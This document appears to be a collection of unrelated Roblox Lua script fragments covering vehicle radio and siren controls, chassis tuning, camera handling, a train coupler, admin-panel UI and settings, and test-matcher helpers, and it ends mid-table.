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--[[** ensures Lua primitive callback type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.callback = primitive("function")
--// # key, ManOff
mouse.KeyUp:connect(function(key) if key=="f" then veh.Lightbar.middle.Man:Stop() veh.Lightbar.middle.Wail.Volume = 10 veh.Lightbar.middle.Yelp.Volume = 10 veh.Lightbar.middle.Priority.Volume = 10 script.Parent.Parent.Sirens.Man.BackgroundColor3 = Color3.fromRGB(62, 62, 62) veh.Lightbar.MANUAL.Transparency = 1 end end)
-- Static variables
local _SPEEDEROBJECTSCOLLISIONGROUP = "SpeederObjects"
------------------------------------------
gui.Track.Text = radio.TName.Value radio.TName.Changed:connect(function() gui.Track.Text = radio.TName.Value seat.Parent.Body.Dash.S.G.Song.Text = radio.TName.Value end) gui.Stop.MouseButton1Click:connect(function() if radio.Stopped.Value == false then radio.Stopped.Value = true end end) gui.Pause.MouseButton1Click:connect(function() if radio.Paused.Value == false and radio.Stopped.Value == false then radio.Paused.Value = true end end) gui.Play.MouseButton1Click:connect(function() if radio.Stopped.Value == true then radio.Play.Value = not radio.Play.Value else if radio.Paused.Value == true then radio.Paused.Value = false end end end) gui.Forward.MouseButton1Click:connect(function() local n = radio.Track.Value+1 if n>#radio.Songs:GetChildren() then n = 1 end radio.Track.Value = n end) gui.Back.MouseButton1Click:connect(function() local n = radio.Track.Value-1 if n<=0 then n = #radio.Songs:GetChildren() end radio.Track.Value = n end) gui.AutoplayOn.MouseButton1Click:connect(function() if radio.Autoplay.Value == true then radio.Autoplay.Value = false end end) gui.AutoplayOff.MouseButton1Click:connect(function() if radio.Autoplay.Value == false then radio.Autoplay.Value = true end end) gui.List.MouseButton1Click:connect(function() gui.Menu.Visible=not gui.Menu.Visible end) gui.Id.MouseButton1Click:connect(function() gui.IdPlayer.Visible=not gui.IdPlayer.Visible if gui.IdPlayer.Visible then gui.Id.Rotation=180 else gui.Id.Rotation=0 end end) gui.IdPlayer.Play.MouseButton1Click:connect(function() if radio.IdPlay.Value==gui.IdPlayer.TextBox.Text then radio.IdPlay.Value="" wait() end radio.IdPlay.Value=gui.IdPlayer.TextBox.Text end) for i,v in pairs(gui.Menu:GetChildren()) do v.MouseButton1Click:connect(function() radio.Track.Value = i end) end function Stopped() if radio.Stopped.Value == true then gui.Pause.Visible = false gui.Play.Visible = true else gui.Play.Visible = false gui.Pause.Visible = true end end function Paused() if radio.Paused.Value == true then gui.Pause.Visible = false gui.Play.Visible = true else if radio.Stopped.Value == false then gui.Play.Visible = false gui.Pause.Visible = true end end end function Autoplay() if radio.Autoplay.Value == true then gui.AutoplayOff.Visible = false gui.AutoplayOn.Visible = true else gui.AutoplayOn.Visible = false gui.AutoplayOff.Visible = true end end radio.Stopped.Changed:connect(Stopped) radio.Paused.Changed:connect(Paused) radio.Autoplay.Changed:connect(Autoplay) Stopped() Paused() Autoplay() while wait(.5) do if seat:FindFirstChild("SeatWeld") == nil then script.Parent:Destroy() end end
-- Display assertion for the report when a test fails. -- New format: rejects/resolves, not, and matcher name have black color -- Old format: matcher name has dim color
function matcherHint(matcherName: string, received: string?, expected: string?, options: MatcherHintOptions?): string received = received or "received" expected = expected or "expected" options = options or {} --[[ ROBLOX TODO: Remove the "if options" check once it can pass through Luau cleanly and define all of the variables in-line i.e. local comment = options.comment or "" ]] local comment, expectedColor, isDirectExpectCall, isNot, promise, receivedColor, secondArgument, secondArgumentColor if options then comment = options.comment or "" expectedColor = options.expectedColor or EXPECTED_COLOR isDirectExpectCall = options.isDirectExpectCall or false isNot = options.isNot or false promise = options.promise or "" receivedColor = options.receivedColor or RECEIVED_COLOR secondArgument = options.secondArgument or "" secondArgumentColor = options.secondArgumentColor or EXPECTED_COLOR end local hint = "" local dimString = "expect" -- concatenate adjacent dim substrings if not isDirectExpectCall and received ~= "" then hint = hint .. DIM_COLOR(dimString .. "(") .. receivedColor(received) dimString = ")" end if promise ~= "" then hint = hint .. DIM_COLOR(dimString .. ".") .. promise dimString = "" end if isNot then hint = hint .. DIM_COLOR(dimString .. ".") .. "never" dimString = "" end if string.find(matcherName, "%.") then -- Old format: for backward compatibility, -- especially without promise or isNot options dimString = dimString .. matcherName else -- New format: omit period from matcherName arg hint = hint .. DIM_COLOR(dimString .. ".") .. matcherName dimString = "" end if expected == "" then dimString = dimString .. "()" else hint = hint .. DIM_COLOR(dimString .. "(") .. expectedColor(expected) if secondArgument ~= "" then hint = hint .. DIM_COLOR(", ") .. secondArgumentColor(secondArgument) end dimString = ")" end if comment ~= "" then dimString = dimString .. " -- " .. comment end if dimString ~= "" then hint = hint .. DIM_COLOR(dimString) end return hint end return { EXPECTED_COLOR = EXPECTED_COLOR, RECEIVED_COLOR = RECEIVED_COLOR, INVERTED_COLOR = INVERTED_COLOR, BOLD_WEIGHT = BOLD_WEIGHT, DIM_COLOR = DIM_COLOR, SUGGEST_TO_CONTAIN_EQUAL = SUGGEST_TO_CONTAIN_EQUAL, stringify = stringify, highlightTrailingWhitespace = highlightTrailingWhitespace, printReceived = printReceived, printExpected = printExpected, printWithType = printWithType, ensureNoExpected = ensureNoExpected, ensureActualIsNumber = ensureActualIsNumber, ensureExpectedIsNumber = ensureExpectedIsNumber, ensureNumbers = ensureNumbers, ensureExpectedIsNonNegativeInteger = ensureExpectedIsNonNegativeInteger, printDiffOrStringify = printDiffOrStringify, diff = diff, pluralize = pluralize, getLabelPrinter = getLabelPrinter, matcherErrorMessage = matcherErrorMessage, matcherHint = matcherHint, }
--[[ Script Variables ]]
-- while not Players.LocalPlayer do wait() end local lastInputType = nil local LocalPlayer = Players.LocalPlayer local PlayerGui = LocalPlayer:WaitForChild('PlayerGui') local IsTouchDevice = UserInputService.TouchEnabled local UserMovementMode = IsTouchDevice and GameSettings.TouchMovementMode or GameSettings.ComputerMovementMode local DevMovementMode = IsTouchDevice and LocalPlayer.DevTouchMovementMode or LocalPlayer.DevComputerMovementMode local IsUserChoice = (IsTouchDevice and DevMovementMode == Enum.DevTouchMovementMode.UserChoice) or (DevMovementMode == Enum.DevComputerMovementMode.UserChoice) local TouchGui = nil local TouchControlFrame = nil local IsModalEnabled = UserInputService.ModalEnabled local BindableEvent_OnFailStateChanged = nil local isJumpEnabled = false
--// All global vars will be wiped/replaced except script
return function(data, env) if env then setfenv(1, env) end local gui = client.UI.Prepare(script.Parent.Parent) -- Change it to a TextLabel to avoid chat clearing local playergui = service.PlayerGui local frame = gui.Frame local msg = gui.Frame.Message local ttl = gui.Frame.Title local gIndex = data.gIndex local gTable = data.gTable local title = data.Title local message = data.Message local scroll = data.Scroll local tim = data.Time if not data.Message or not data.Title then gui:Destroy() end ttl.Text = title msg.Text = message ttl.TextTransparency = 1 msg.TextTransparency = 1 ttl.TextStrokeTransparency = 1 msg.TextStrokeTransparency = 1 frame.BackgroundTransparency = 1 local blur = service.New("BlurEffect") blur.Enabled = false blur.Size = 0 blur.Parent = service.Workspace.CurrentCamera local fadeSteps = 10 local blurSize = 10 local textFade = 0.1 local strokeFade = 0.5 local frameFade = 0.3 local blurStep = blurSize/fadeSteps local frameStep = frameFade/fadeSteps local textStep = 0.1 local strokeStep = 0.1 local gone = false local function fadeIn() if not gone then blur.Enabled = true gTable:Ready() --gui.Parent = service.PlayerGui for i = 1,fadeSteps do if blur.Size<blurSize then blur.Size = blur.Size+blurStep end if msg.TextTransparency>textFade then msg.TextTransparency = msg.TextTransparency-textStep ttl.TextTransparency = ttl.TextTransparency-textStep end if msg.TextStrokeTransparency>strokeFade then msg.TextStrokeTransparency = msg.TextStrokeTransparency-strokeStep ttl.TextStrokeTransparency = ttl.TextStrokeTransparency-strokeStep end if frame.BackgroundTransparency>frameFade then frame.BackgroundTransparency = frame.BackgroundTransparency-frameStep end wait(1/60) end end end local function fadeOut() if not gone then for i = 1,fadeSteps do if blur.Size>0 then blur.Size = blur.Size-blurStep end if msg.TextTransparency<1 then msg.TextTransparency = msg.TextTransparency+textStep ttl.TextTransparency = ttl.TextTransparency+textStep end if msg.TextStrokeTransparency<1 then msg.TextStrokeTransparency = msg.TextStrokeTransparency+strokeStep ttl.TextStrokeTransparency = ttl.TextStrokeTransparency+strokeStep end if frame.BackgroundTransparency<1 then frame.BackgroundTransparency = frame.BackgroundTransparency+frameStep end wait(1/60) end blur.Enabled = false blur:Destroy() service.UnWrap(gui):Destroy() gone = true end end gTable.CustomDestroy = function() if not gone then gone = true pcall(fadeOut) end pcall(function() service.UnWrap(gui):Destroy() end) pcall(function() blur:Destroy() end) end --[[if not scroll then msg.Text = message else Routine(function() wait(0.5) for i = 1, #message do msg.Text = msg.Text .. message:sub(i,i) wait(0.05) end end) end--]] -- For now? fadeIn() wait(tim or 5) if not gone then fadeOut() end --[[ frame.Position = UDim2.new(0.5,-175,-1.5,0) gui.Parent = playergui frame:TweenPosition(UDim2.new(0.5,-175,0.25,0),nil,nil,0.5) if not scroll then msg.Text = message wait(tim or 10) else wait(0.5) for i = 1, #message do msg.Text = msg.Text .. message:sub(i,i) wait(0.05) end wait(tim or 5) end if frame then frame:TweenPosition(UDim2.new(0.5,-175,-1.5,0),nil,nil,0.5) wait(1) gui:Destroy() end --]] end
-- Public
function Utility.fastRemove(tbl: {number: any}, index: number) -- would use {any}, but it makes the linter angry local n = #tbl tbl[index] = tbl[n] tbl[n] = nil end function Utility.ser(...) local str = '' for _, num in next, {...} do str = str..math.floor(num) end return tonumber(str) end function Utility.toScale(scale: number, offset: number, parentSize: number): number return (offset / parentSize) + scale end function Utility.toOffset(scale: number, offset: number, parentSize: number): number return (scale * parentSize) + offset end function Utility.convert(obj: GuiObject | UILayout, prop: string, T: string): UDim2 | UDim local parentSize = obj.Parent.AbsoluteSize local ud = obj[prop] local to = T == 'Scale' and Utility.toScale or Utility.toOffset if typeof(obj[prop]) == 'UDim2' then return UDim2['from'..T](to(ud.X.Scale, ud.X.Offset, parentSize.X), to(ud.Y.Scale, ud.Y.Offset, parentSize.Y)) else local axis = 'X' if obj:IsA('UIListLayout') then axis = obj.FillDirection == Enum.FillDirection.Horizontal and 'X' or 'Y' end local data = { [T] = to(ud.Scale, ud.Offset, parentSize[axis]) } return UDim.new(data.Scale, data.Offset) end end
--[[Dependencies]]
local player = game.Players.LocalPlayer local mouse = player:GetMouse() local UserInputService = game:GetService("UserInputService") local car = script.Parent.Car.Value local _Tune = require(car["A-Chassis Tune"])
--[[Brakes]]
Tune.ABSEnabled = true -- Implements ABS Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS) Tune.FBrakeForce = 300 -- Front brake force Tune.RBrakeForce = 350 -- Rear brake force Tune.PBrakeForce = 4000 -- Handbrake force Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF] Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF] Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
--game.ReplicatedStorage.Events.TirarSave3.OnServerEvent:Connect(function(player)
--player.Saves.Numerodesaves2.Value = 0
-- DefaultValue for spare ammo
local SpareAmmo = 100
-- alas poor coupler.ClickDetector.MouseClick:connect(function() ... end), I knew thee well
remote.OnServerEvent:connect(function(player) if IsCoupled.Value then IsCoupled.Value = false else Allow.Value = not Allow.Value Recolor() end end) IsCoupled.Changed:connect(function() if IsCoupled.Value == false then Decouple() end Recolor() end) function rotate(a,b) local weld = Instance.new("Rotate") weld.Part0 = a weld.Part1 = b weld.C0 = CFrame.new() weld.C1 = b.CFrame:inverse() * a.CFrame--use this because you get less floating point errors weld.Name = "CouplerRotate" return weld end function rotateSpecial(a,b) local weld = Instance.new("Rotate") weld.Part0 = a weld.Part1 = b weld.C0 = CFrame.new(0,0,-0.6) weld.C1 = CFrame.new(0,0,-0.6)*CFrame.Angles(0,math.pi,0) weld.Name = "CouplerRotate" return weld end function PGSRotates(coupler1,coupler2) local R1 = Instance.new("Part") R1.CanCollide = false R1.Transparency = 1 R1.FormFactor = "Plate" R1.Size = Vector3.new() --R1.CanCollide = false R1.TopSurface = "Smooth" R1.BottomSurface = "Smooth" local R2 = R1:Clone() R1.CFrame = coupler1.CFrame R2.CFrame = coupler2.CFrame rotate(coupler1,R1).Parent = coupler1 rotate(coupler2,R2).Parent = coupler2 rotateSpecial(R1,R2).Parent = R1 R1.Parent = coupler.Parent R2.Parent = coupler.Parent return R1,R2 end function Couple(coupler,otherCoupler) if PGS then coupler.CanCollide = false otherCoupler.CanCollide = false R1,R2 = PGSRotates(coupler,otherCoupler) else MyWeld = weld(coupler,otherCoupler) MyWeld.Parent = model end coupler.SoundClose:Play() end CoupledTo.Changed:connect(function() if CoupledTo.Value then --the network ownership means the couplers won't freak out when you couple local otherCoupler = CoupledTo.Value:FindFirstChild("Coupler") if otherCoupler and CoupledTo.Value:FindFirstChild("IsCoupled") and CoupledTo.Value.IsCoupled:IsA("BoolValue") and CoupledTo.Value.IsCoupled.Value then --continue else return end local owner = coupler:GetNetworkOwner() local otherOwner = otherCoupler:GetNetworkOwner() local ownerAuto = coupler:GetNetworkOwnershipAuto() local otherOwnerAuto = otherCoupler:GetNetworkOwnershipAuto() if coupler:CanSetNetworkOwnership() then coupler:SetNetworkOwner(nil) end if CoupledTo.Value.Coupler:CanSetNetworkOwnership() then coupler:SetNetworkOwner(nil) end Couple(coupler,otherCoupler) if coupler:CanSetNetworkOwnership() then if ownerAuto and otherOwnerAuto then coupler:SetNetworkOwnershipAuto() elseif ownerAuto then coupler:SetNetworkOwner(otherOwner) elseif otherOwnerAuto then coupler:SetNetworkOwner(owner) else coupler:SetNetworkOwner(owner) end end wait() if PGS then WeldDisappear = coupler.ChildRemoved:connect(function(it) if it.Name == "CouplerRotate" then Decouple() WeldDisappear:disconnect() end end) else WeldDisappear = MyWeld.AncestryChanged:connect(function() Decouple() WeldDisappear:disconnect() end) end else coupler.CanCollide = true end end) coupler.Touched:connect(function(TouchedPart) if TouchedPart.Parent and TouchedPart.Name == "Coupler" then--make sure the part still exists and that it is called "Coupler" (a good indicator) local OtherCoupler = TouchedPart.Parent local OtherAllow = OtherCoupler:FindFirstChild("Allow")--make sure this is a coupler by looking for the value that says we can couple local OtherIsCoupled = OtherCoupler:FindFirstChild("IsCoupled")--make sure this is a coupler by looking for the value that says it is coupled if OtherAllow and OtherIsCoupled then if OtherAllow.Value == true and Allow.Value == true and OtherIsCoupled.Value == false and IsCoupled.Value == false then IsCoupled.Value = true OtherIsCoupled.Value = true CoupledTo.Value = OtherCoupler if OtherCoupler:FindFirstChild("CoupledTo") then OtherCoupler.CoupledTo.Value = model end end end end end)
-------------------------
mouse.KeyDown:connect(function (key) key = string.lower(key) if key == "k" then --Camera controls if cam == ("car") then Camera.CameraSubject = player.Character.Humanoid Camera.CameraType = ("Custom") cam = ("freeplr") Camera.FieldOfView = 70 elseif cam == ("freeplr") then Camera.CameraSubject = player.Character.Humanoid Camera.CameraType = ("Attach") cam = ("lockplr") elseif cam == ("lockplr") then Camera.CameraSubject = carSeat Camera.CameraType = ("Custom") cam = ("car") Camera.FieldOfView = 70 end elseif key == "u" then --Window controls if windows == false then winfob.Visible = true windows = true else windows = false winfob.Visible = false end elseif key == "[" then -- volume down if carSeat.Parent.Body.MP.Sound.Volume > 0 then handler:FireServer('updateVolume', -0.5) end elseif key == "]" then -- volume up if carSeat.Parent.Body.MP.Sound.Volume < 10 then handler:FireServer('updateVolume', 0.5) end elseif key == "f" then --FM Screen Switch handler:FireServer('FMSwitch') elseif key == "b" then --Mode Screen Switch handler:FireServer('IMode') elseif key == "n" then if not carSeat.IsOn.Value then carSeat.Startup:Play() carSeat.IsOn.Value = true else carSeat.IsOn.Value = false end elseif key == "j" then --seatlock if carSeat.Seatlock.Value == false then handler:FireServer('seatlock',true,0) else handler:FireServer('seatlock',false,12) end elseif key == "g" then if st then handler:FireServer('src') else handler:FireServer('sunroof') end elseif key:byte() == 48 then -- CC st = true end end) mouse.KeyUp:connect(function (key) key = string.lower(key) if key:byte() == 48 then --Camera controls st = false end end) for i,v in pairs(script.Parent:getChildren()) do if v:IsA('ImageButton') then v.MouseButton1Click:connect(function() if carSeat.Windows:FindFirstChild(v.Name) then local v = carSeat.Windows:FindFirstChild(v.Name) if v.Value == true then handler:FireServer('updateWindows', v.Name, false) else handler:FireServer('updateWindows', v.Name, true) end end end) end end function showspeed(a) if carSeat.CC.Value then HUB2.S.Visible = true HUB2.CC.Visible = false HUB2.S.Text = math.floor(carSeat.CCS.Value) HUB2.S.TextColor3 = a and Color3.new(0,1,0) or Color3.new(1,0,0) wait(2) HUB2.S.Visible = false HUB2.CC.Visible = true end end HUB2.CC.MouseButton1Click:connect(function() carSeat.CC.Value = not carSeat.CC.Value carSeat.CCS.Value = math.floor(carSeat.Velocity.Magnitude*mph) showspeed(true) end) HUB2.W.MouseButton1Click:connect(function() handler:FireServer('wws',carSeat.WS.Value,st) handler:FireServer('wwr',carSeat.WS.Value,st) end) HUB2.Up.MouseButton1Click:connect(function() if st then carSeat.CCS.Value = carSeat.CCS.Value+5 else carSeat.CCS.Value = carSeat.CCS.Value+1 end showspeed(true) end) HUB2.Dn.MouseButton1Click:connect(function() if st then carSeat.CCS.Value = carSeat.CCS.Value-5 else carSeat.CCS.Value = carSeat.CCS.Value-1 end showspeed(false) end) HUB2.UpW.MouseButton1Click:connect(function() handler:FireServer('wspd',1) end) HUB2.DnW.MouseButton1Click:connect(function() handler:FireServer('wspd',-1) end) HUB2.SS.MouseButton1Click:connect(function() carSeat.SST.Value = not carSeat.SST.Value end) HUB2.Limiter.MouseButton1Click:connect(function() --Ignition if carSeat.IsOn.Value == false then carSeat.Startup:Play() carSeat.Sch:Play() wait(.5) carSeat.IsOn.Value = true else carSeat.IsOn.Value = false end end) winfob.mg.Play.MouseButton1Click:connect(function() --Play the next song handler:FireServer('updateSong', winfob.mg.Input.Text) end) winfob.mg.Stop.MouseButton1Click:connect(function() --Play the next song handler:FireServer('pauseSong') end) carSeat.Indicator.Changed:connect(function() if carSeat.Indicator.Value == true then script.Parent.Indicator:Play() else script.Parent.Indicator2:Play() end end) game:GetService("RunService").RenderStepped:connect(function() if cam == "lockplr" then local XLook=math.max(math.min(((mouse.X-(mouse.ViewSizeX/2))/300)^3,1),-1) local YLook=math.max(math.min(((mouse.Y-(mouse.ViewSizeY/2))/300)^3,1),-1) local LookOffset if player.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then LookOffset=player.Character.Head.CFrame:toWorldSpace(CFrame.new(0.1,.1,-.7)*CFrame.Angles(-YLook,-XLook,0)) else LookOffset=player.Character.Head.CFrame:toWorldSpace(CFrame.new(0.1,-.05,-.6)*CFrame.Angles(-YLook,-XLook,0)) end Camera.CameraType="Scriptable" Camera.CameraSubject=player.Character.Humanoid Camera.CoordinateFrame=LookOffset player.CameraMaxZoomDistance=0 else player.CameraMaxZoomDistance=400 end end) while wait() do carSeat.Parent.Body.Dash.Screen.G.Radio.Time.Text = game.Lighting.TimeOfDay HUB2.CC.ImageColor3 = carSeat.CC.Value and Color3.new(0,1,0) or Color3.new(0,0,0) end
-- Attack state
local attacking = false local searchingForTargets = false
-- Reset the camera look vector when the camera is enabled for the first time
local SetCameraOnSpawn = true local hasGameLoaded = false local GestureArea = nil local GestureAreaManagedByControlScript = false
-- Also set this to true if you want the thumbstick to not affect throttle, only triggers when a gamepad is conected
local onlyTriggersForThrottle = false local function onThrottleAccel(actionName, inputState, inputObject) MasterControl:AddToPlayerMovement(Vector3.new(0, 0, -CurrentThrottle)) CurrentThrottle = (inputState == Enum.UserInputState.End or Deccelerating) and 0 or -1 MasterControl:AddToPlayerMovement(Vector3.new(0, 0, CurrentThrottle)) Accelerating = not (inputState == Enum.UserInputState.End) if (inputState == Enum.UserInputState.End) and Deccelerating then CurrentThrottle = 1 MasterControl:AddToPlayerMovement(Vector3.new(0, 0, CurrentThrottle)) end end local function onThrottleDeccel(actionName, inputState, inputObject) MasterControl:AddToPlayerMovement(Vector3.new(0, 0, -CurrentThrottle)) CurrentThrottle = (inputState == Enum.UserInputState.End or Accelerating) and 0 or 1 MasterControl:AddToPlayerMovement(Vector3.new(0, 0, CurrentThrottle)) Deccelerating = not (inputState == Enum.UserInputState.End) if (inputState == Enum.UserInputState.End) and Accelerating then CurrentThrottle = -1 MasterControl:AddToPlayerMovement(Vector3.new(0, 0, CurrentThrottle)) end end local function onSteerRight(actionName, inputState, inputObject) MasterControl:AddToPlayerMovement(Vector3.new(-CurrentSteer, 0, 0)) CurrentSteer = (inputState == Enum.UserInputState.End or TurningLeft) and 0 or 1 MasterControl:AddToPlayerMovement(Vector3.new(CurrentSteer, 0, 0)) TurningRight = not (inputState == Enum.UserInputState.End) if (inputState == Enum.UserInputState.End) and TurningLeft then CurrentSteer = -1 MasterControl:AddToPlayerMovement(Vector3.new(CurrentSteer, 0, 0)) end end local function onSteerLeft(actionName, inputState, inputObject) MasterControl:AddToPlayerMovement(Vector3.new(-CurrentSteer, 0, 0)) CurrentSteer = (inputState == Enum.UserInputState.End or TurningRight) and 0 or -1 MasterControl:AddToPlayerMovement(Vector3.new(CurrentSteer, 0, 0)) TurningLeft = not (inputState == Enum.UserInputState.End) if (inputState == Enum.UserInputState.End) and TurningRight then CurrentSteer = 1 MasterControl:AddToPlayerMovement(Vector3.new(CurrentSteer, 0, 0)) end end local function getHumanoid() local character = LocalPlayer and LocalPlayer.Character if character then for _,child in pairs(character:GetChildren()) do if child:IsA('Humanoid') then return child end end end end local function getClosestFittingValue(value) if value > 0.5 then return 1 elseif value < -0.5 then return -1 end return 0 end local function onRenderStepped() if CurrentVehicleSeat then local moveValue = MasterControl:GetMoveVector() local didSetThrottleSteerFloat = false didSetThrottleSteerFloat = pcall(function() if game:GetService("UserInputService"):GetGamepadConnected(Enum.UserInputType.Gamepad1) and onlyTriggersForThrottle and useTriggersForThrottle then CurrentVehicleSeat.ThrottleFloat = -CurrentThrottle else CurrentVehicleSeat.ThrottleFloat = -moveValue.z end CurrentVehicleSeat.SteerFloat = moveValue.x end) if didSetThrottleSteerFloat == false then if game:GetService("UserInputService"):GetGamepadConnected(Enum.UserInputType.Gamepad1) and onlyTriggersForThrottle and useTriggersForThrottle then CurrentVehicleSeat.Throttle = -CurrentThrottle else CurrentVehicleSeat.Throttle = getClosestFittingValue(-moveValue.z) end CurrentVehicleSeat.Steer = getClosestFittingValue(moveValue.x) end end end local function onSeated(active, currentSeatPart) if active then if currentSeatPart and currentSeatPart:IsA('VehicleSeat') then CurrentVehicleSeat = currentSeatPart if useTriggersForThrottle then ContextActionService:BindAction("throttleAccel", onThrottleAccel, false, Enum.KeyCode.ButtonR2) ContextActionService:BindAction("throttleDeccel", onThrottleDeccel, false, Enum.KeyCode.ButtonL2) end ContextActionService:BindAction("arrowSteerRight", onSteerRight, false, Enum.KeyCode.Right) ContextActionService:BindAction("arrowSteerLeft", onSteerLeft, false, Enum.KeyCode.Left) local success = pcall(function() RunService:BindToRenderStep("VehicleControlStep", Enum.RenderPriority.Input.Value, onRenderStepped) end) if not success then if RenderSteppedCn then return end RenderSteppedCn = RunService.RenderStepped:connect(onRenderStepped) end end else CurrentVehicleSeat = nil if useTriggersForThrottle then ContextActionService:UnbindAction("throttleAccel") ContextActionService:UnbindAction("throttleDeccel") end ContextActionService:UnbindAction("arrowSteerRight") ContextActionService:UnbindAction("arrowSteerLeft") MasterControl:AddToPlayerMovement(Vector3.new(-CurrentSteer, 0, -CurrentThrottle)) CurrentThrottle = 0 CurrentSteer = 0 local success = pcall(function() RunService:UnbindFromRenderStep("VehicleControlStep") end) if not success and RenderSteppedCn then RenderSteppedCn:disconnect() RenderSteppedCn = nil end end end local function CharacterAdded(character) local humanoid = getHumanoid() while not humanoid do wait() humanoid = getHumanoid() end -- if HumanoidSeatedCn then HumanoidSeatedCn:disconnect() HumanoidSeatedCn = nil end HumanoidSeatedCn = humanoid.Seated:connect(onSeated) end if LocalPlayer.Character then CharacterAdded(LocalPlayer.Character) end LocalPlayer.CharacterAdded:connect(CharacterAdded) return VehicleController
--[[ Enjin | Novena HAYASHl | Avxnturador Bike Chassis *We assume you know what you're doing if you're gonna change something here.* ]]
--
--[[Run]]
--Print Version local build=require(bike.Tuner.README) local ver=script.Parent.Version.Value --print("[Novena] NCT: M Loaded - Build: "..build..", Version: "..tostring(ver)) print("[Novena] NCT: M Beta Loaded - Version: "..tostring(ver)) --Runtime Loops -- ~60 c/s game["Run Service"].Heartbeat:connect(function(dt) _IsOn = script.Parent.IsOn.Value _InControls = script.Parent.ControlsOpen.Value --Steering Steering(dt) --Gear Gear() --Power Engine(dt) --Update External Values script.Parent.Values.Gear.Value = _CGear script.Parent.Values.RPM.Value = _RPM script.Parent.Values.Boost.Value = ((_TBoost/2)*_TPsi)+((_SBoost/2)*_SPsi) script.Parent.Values.BoostTurbo.Value = (_TBoost/2)*_TPsi script.Parent.Values.BoostSuper.Value = (_SBoost/2)*_SPsi script.Parent.Values.HpNatural.Value = _NH script.Parent.Values.HpElectric.Value = _EH script.Parent.Values.HpTurbo.Value = _TH script.Parent.Values.HpSuper.Value = _SH script.Parent.Values.HpBoosted.Value = _BH script.Parent.Values.Horsepower.Value = _HP script.Parent.Values.TqNatural.Value = _NT/_Tune.Ratios[_CGear+1]/fFD/hpScaling script.Parent.Values.TqElectric.Value = _ET/_Tune.Ratios[_CGear+1]/fFD/hpScaling script.Parent.Values.TqTurbo.Value = _TT/_Tune.Ratios[_CGear+1]/fFD/hpScaling script.Parent.Values.TqSuper.Value = _ST/_Tune.Ratios[_CGear+1]/fFD/hpScaling script.Parent.Values.TqBoosted.Value = script.Parent.Values.TqTurbo.Value+script.Parent.Values.TqSuper.Value script.Parent.Values.Torque.Value = script.Parent.Values.TqNatural.Value+script.Parent.Values.TqElectric.Value+script.Parent.Values.TqBoosted.Value script.Parent.Values.TransmissionMode.Value = _TMode script.Parent.Values.Throttle.Value = _GThrot script.Parent.Values.Brake.Value = _GBrake if script.Parent.Values.AutoClutch.Value then script.Parent.Values.Clutch.Value = _Clutch end script.Parent.Values.SteerC.Value = _GSteerC script.Parent.Values.SteerT.Value = _GSteerT script.Parent.Values.PBrake.Value = _PBrake script.Parent.Values.TCS.Value = _TCS script.Parent.Values.TCSActive.Value = _TCSActive script.Parent.Values.TCSAmt.Value = 1-_TCSAmt script.Parent.Values.ABS.Value = _ABS script.Parent.Values.ABSActive.Value = _fABSActive or _rABSActive script.Parent.Values.MouseSteerOn.Value = _MSteer script.Parent.Values.Velocity.Value = bike.DriveSeat.Velocity end) while wait(.0667) do if _TMode == "Auto" then Auto() end end
-- Libraries
local Roact = require(Vendor:WaitForChild('Roact')) local Cryo = require(Libraries:WaitForChild('Cryo')) local Maid = require(Libraries:WaitForChild('Maid')) local new = Roact.createElement
------------------------------------------------------------------------ -- adjusts debug information for last instruction written, in order to -- change the line where item comes into existence -- * used in (lparser) luaY:funcargs(), luaY:forbody(), luaY:funcstat() ------------------------------------------------------------------------
function luaK:fixline(fs, line) fs.f.lineinfo[fs.pc - 1] = line end
-- << Variables >> --
local Player = game:GetService("Players").LocalPlayer local Mouse = Player:GetMouse() local Camera = game:GetService("Workspace").CurrentCamera local UserInputService = game:GetService("UserInputService") local Humanoid = Player.Character:WaitForChild("Humanoid") local bobbing = nil local func1 = 0 local func2 = 0 local func3 = 0 local func4 = 0 local val = 0 local val2 = 0 local int = 8 local int2 = 16 local vect3 = Vector3.new()
--------------| SYSTEM SETTINGS |--------------
Prefix = ";"; -- The character you use before every command (e.g. ';jump me'). SplitKey = " "; -- The character inbetween command arguments (e.g. setting it to '/' would change ';jump me' to ';jump/me'). BatchKey = ""; -- The character inbetween batch commands (e.g. setting it to '|' would change ';jump me ;fire me ;smoke me' to ';jump me | ;fire me | ;smoke me' QualifierBatchKey = ","; -- The character used to split up qualifiers (e.g. ;jump player1,player2,player3) Theme = "Blue"; -- The default UI theme. NoticeSoundId = 2865227271; -- The SoundId for notices. NoticeVolume = 0.1; -- The Volume for notices. NoticePitch = 1; -- The Pitch/PlaybackSpeed for notices. ErrorSoundId = 2865228021; -- The SoundId for error notifications. ErrorVolume = 0.1; -- The Volume for error notifications. ErrorPitch = 1; -- The Pitch/PlaybackSpeed for error notifications. AlertSoundId = 9161622880; -- The SoundId for alerts. AlertVolume = 0.5; -- The Volume for alerts. AlertPitch = 1; -- The Pitch/PlaybackSpeed for alerts. WelcomeBadgeId = 0; -- Award new players a badge, such as 'Welcome to the game!'. Set to 0 for no badge. CommandDebounce = true; -- Wait until the command effect is over to use again. Helps to limit abuse & lag. Set to 'false' to disable. SaveRank = true; -- Saves a player's rank in the server they received it. (e.g. ;rank plrName rank). Use ';permRank plrName rank' to permanently save a rank. Set to 'false' to disable. LoopCommands = 3; -- The minimum rank required to use LoopCommands. MusicList = {}; -- Songs which automatically appear in a user's radio. Type '!radio' to display the radio. ThemeColors = { -- The colours players can set their HD Admin UI (in the 'Settings' menu). | Format: {ThemeName, ThemeColor3Value}; {"Red", Color3.fromRGB(150, 0, 0), }; {"Orange", Color3.fromRGB(150, 75, 0), }; {"Brown", Color3.fromRGB(120, 80, 30), }; {"Yellow", Color3.fromRGB(130, 120, 0), }; {"Green", Color3.fromRGB(0, 120, 0), }; {"Blue", Color3.fromRGB(0, 100, 150), }; {"Purple", Color3.fromRGB(100, 0, 150), }; {"Pink", Color3.fromRGB(150, 0, 100), }; {"Black", Color3.fromRGB(60, 60, 60), }; }; Colors = { -- The colours for ChatColors and command arguments. | Format: {"ShortName", "FullName", Color3Value}; {"r", "Red", Color3.fromRGB(255, 0, 0) }; {"o", "Orange", Color3.fromRGB(250, 100, 0) }; {"y", "Yellow", Color3.fromRGB(255, 255, 0) }; {"g", "Green" , Color3.fromRGB(0, 255, 0) }; {"dg", "DarkGreen" , Color3.fromRGB(0, 